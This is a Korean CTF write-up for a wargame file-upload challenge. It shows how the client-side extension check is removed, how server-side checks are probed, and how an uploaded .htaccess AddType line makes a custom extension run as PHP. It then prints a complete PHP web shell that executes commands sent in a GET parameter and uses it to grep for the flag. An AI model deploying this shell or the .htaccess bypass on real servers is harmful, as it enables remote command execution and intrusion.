[1]Reconnaissance
-Web 서버안에서 flag.txt 파일을 찾아내야 합니다.
엔드포인트 분석
[1]Posting page with File upload/download
-웹쉘을 업로드 공격은 일반적으로 업로드된 파일이 보관되는 곳에서 발생합니다.
-파일을 작성하는 ./notice_write.php에서는 위와 같이 파일을 업로드하는 기능이 있습니다. 로직을 분석해보면, ./notice_write.php에서 업로드한 파일은 ./notice_write_process.php를 거쳐 ./notice_read.php?id=xx 페이지의 Download 버튼을 누르면 ./download.php?filePath=/note/catcat.jpg 로 요청을 보내서 추가적인 검증을 하는 것 같습니다.
-"Download" 버튼 우클릭 시 나타나는 "Copy Link"를 누르면 전 문제들은 사진 페이지로 이동했지만, 바로 다운로드됩니다. 주석에 적혀있는 경로 ./files/{username}/{filename} 으로 접속시 업로드한 사진을 확인할 수 있습니다.
[2]Vulnerability&Exploit
Web shell upload
-웹쉘 취약점이란, 서버 측에서 실행되는 파일 중 명령어를 실행하는 코드를 삽입한 실행 파일을 업로드하고 경로에 접근하여 이를 사용하는 취약점입니다.
-웹쉘 공격의 단계는 아래와 같습니다.
- 웹 서버 측에 실행 파일(php 파일 등)을 올리고 업로드 여부를 확인합니다.
- 업로드된 파일의 경로를 확인해 접근하여 실행 파일이 작동하는지 확인합니다.
-웹쉘 공격은 업로드한 실행 파일이 코드의 로직대로 저장된 서버의 경로에 접근하여 실행됨에 따라 발생합니다.
-따라서 웹쉘 공격은 업로드만 되면 가능한 공격이 아니라 파일의 실행 가능이 전제되어야 사용할 수 있는 공격방식입니다. 이를 알 수 있는 방법은 직관적으로 결과를 확인할 수 있는 코드를 먼저 삽입하는 방법이 있습니다.
-현재 이 웹페이지는 notice_write.php에서 파일을 업로드할 수 있고, 이를 ./files/username/filename 으로 접근할 수 있습니다.
//test.php
<?php
$result = 3 * 3;
echo $result;
?>
-위 코드가 notice_write.php에서 업로드가 가능하고, ./files/username/test.php 로 접근시 실행되어 9 를 출력한다면, 웹 쉘 업로드가 가능할 수 있습니다.
-"업로드할 수 없는 확장자의 파일입니다."라는 메세지가 뜨게 됩니다. 이를 burpsuite를 키고 실행하거나, 개발자도구의 Network 탭에서 보면 서버로 요청이 가지 않지만 alert 메세지가 뜨고 거부되는 것을 알 수 있습니다. 따라서 이는 클라이언트 단에서 실행되는 구문일 것입니다.
-notice_write.php의 form 태그를 보면 onsubmit 이벤트가 발생시, checkFileExtension이라는 함수에 인자로 writeFrm.upload_file.value를 담아 javascript를 실행하는 것을 볼 수 있습니다.
//checkFileExtension
function checkFileExtension(filename) {
var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/i;
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
if (filename == "") {
return true;
}
if (!allowedExtensions.exec(filename)) {
alert('업로드할 수 없는 확장자의 파일입니다.');
writeFrm.upload_file.value = '';
return false;
} else {
return true;
}
return true;
}
-위의 코드는 notice_write.php에서 "create" 버튼을 눌러 게시물 내용을 전송하려 할 때 , onsubmit 이벤트가 발생하여 확장자가 "jpg", "jpeg", "png", "gif" 확장자가 아니라면 "업로드할 수 없는 확장자의 파일입니다."를 alert 으로 메세지를 발생시키고 writefrm.upload_file.value의 값을 비웁니다. 이는 클라이언트단에서 실행되는 코드이므로 개발자도구에서 onsubmit 이벤트를 삭제한다면 실행되지 않습니다.
-onsubmit 이벤트를 삭제하고 test.php을 업로드해보았습니다. "업로드 될 수 없는 파일이 탐지되었습니다 {파일 이름.php}"와 "글 작성에 성공하셨습니다!" 라는 메세지가 출력됩니다. 업로드 할 수 없는 파일이 탐지되었다는 것을 보아 파일의 타입을 검사하거나 확장자를 서버단에서 검사하는 로직이 있다고 추측할 수 있습니다. 혹은 둘 다 사용하고 있을 수 있습니다.
-혹시 모르니 업로드 경로의 files/{username} 디렉터리 페이지를 체크해보았습니다.
-php 관련 확장자들은 확실히 업로드되지 않았습니다.
[1]uploaded type으로 검사하는 경우
-파일의 타입을 검사하여 업로드 성공 유무를 결정하는 경우, 파일 이름을 test.txt, 내용에 "hello" 만 적고 타입을 "application/x-php"로 보냈을 때 파일이 업로드되지 않아야 할 것입니다.
-하지만 타입이 "application/x-php"더라도 글 작성에 성공합니다. 따라서 타입 검사를 이용하지 않았을 확률이 높습니다.
[2]확장자로 검사하는 경우
-파일 업로드 확장자 검사 로직이 화이트 리스트가 아닌 블랙 리스트라면, 같은 기능을 하는 확장자를 대신 사용하여 우회가 가능할 수 있습니다. 예를 들어 php라면 "php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phtml" 등이 있을 것 입니다. 물론 시도해보았지만 전부 통과하지 못했습니다.
*https://book.hacktricks.xyz/pentesting-web/file-upload
File Upload | HackTricks
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required). File Upload General Methodology Bypass file extensions checks Bypass Content-Type, Magic Number, Compression & Resizing The .phar
book.hacktricks.xyz
-위 사이트에서 확장자 우회 방법을 찾아보면 '.htaccess' 라는 확장자가 보입니다. php 코드파일 그대로에 저 확장자를 사용하면 실행이 되지 않습니다. '.htaccess' 파일은 어디에 사용하는 것일까요?
-.htaccess 파일은 Apache 웹 서버에서 사용되는 설정 파일입니다. 이 파일은 디렉토리 수준에서 웹 서버의 동작을 구성하고 제어하는 데 사용됩니다.
AddType application/x-httpd-php .newf
-예를 들어 .htaccess 파일에 위의 내용을 저장하여 업로드할 수 있다고 합시다. 위 구문의 의미는 ".newf" 확장자로 업로드한 파일은 파일 타입을 "application/x-httpd-php"로 취급한다는 것으로, 단순히 파일 타입을 변조하는 것은 서버 설정에 따라 php로 해석되지 않을 수 있는 것과 달리 이는 확실히 php로 실행되게 합니다.
-Apache 웹 서버는 요청된 리소스의 위치에 따라 적용할 .htaccess 파일을 결정합니다. 디렉터리의 위치에 따라 가장 가까운 위치의 .htaccess 파일이 우선으로 적용하므로 업로드하는 파일에 .htaccess 파일을 업로드한다면 사용자가 "notice_read.php" 엔드포인트에서 파일의 경로 "./files/{username}/some_file.newf"에 접근할 시 php로 실행되게 될 것입니다.
-위와 같이 게시글을 작성하는 "notice_write_process.php"에서 파일을 전송할 때 이를 burpsuite로 잡아서 php로 해석하는 새로운 확장자 ".newf" 를 설정하는 ".htaccess"를 업로드하고, 웹쉘 파일인 "hello.newf" 파일을 업로드합니다.
//hello.newf
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
-"./files/{username}/hello.newf"에 접근하면 웹쉘이 업로드되어 실행 가능한 것을 볼 수 있습니다.
-빠르게 flag를 찾기 위해 "find" 명령어를 사용하여 flag의 위치를 얻으려했으나 결과가 없습니다.
-플래그 내용에는 segfault가 있기때문에 이를 이용하여 "segfault"가 들어있는 모든 파일을 grep으로 조회하여 플래그를 찾았습니다.
-r 옵션: 설정한 디렉터리부터 하위 디렉터리로 검색하는 옵션. 위 명령어는 "/app"으로 설정하여 app 디렉터리부터 하위 디렉터리의 파일까지 차례로 검색합니다.
[3]Flag
flag.txt
'write-up > web' 카테고리의 다른 글
[wargame - web]Rabbit Hole (0) | 2024.12.04 |
---|---|
[web] authorization wargame (0) | 2024.08.01 |
[web]Get Flag File (0) | 2024.07.26 |
[web]Web Shell 3 (0) | 2024.07.25 |
Web Shell 2 (0) | 2024.07.19 |